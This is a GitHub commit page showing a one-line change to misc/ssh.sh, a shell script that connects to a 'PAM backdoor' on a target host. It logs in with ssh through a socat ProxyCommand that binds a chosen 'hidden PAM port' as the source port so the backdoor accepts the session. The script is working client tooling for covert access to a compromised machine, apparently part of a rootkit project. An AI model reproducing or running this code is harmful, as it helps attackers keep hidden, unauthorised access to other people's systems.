Skip to content

Commit

Permalink
Test
Browse files Browse the repository at this point in the history
  • Loading branch information
mempodippy authored Jan 14, 2017
1 parent 69b8f2f commit 6a3cf1c
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion misc/ssh.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,4 +13,4 @@ usage () { echo "$0 <PAM backdoor username> <host> <hidden PAM port>"; exit; }

echo "Connecting to PAM backdoor @ host $2 on hidden PAM port $3 as $1"
read -p "Press enter to continue"
ssh -o ProxyCommand="socat - tcp4-connect:$2:22,bind=:$3" $2 -l "$1" 2&>/dev/null || echo "Failed to connect. bind probably still alive - wait a minute and try again."
ssh -o ProxyCommand="socat - tcp4-connect:$2:22,bind=:$3" $2 -l "$1"

0 comments on commit 6a3cf1c

Please sign in to comment.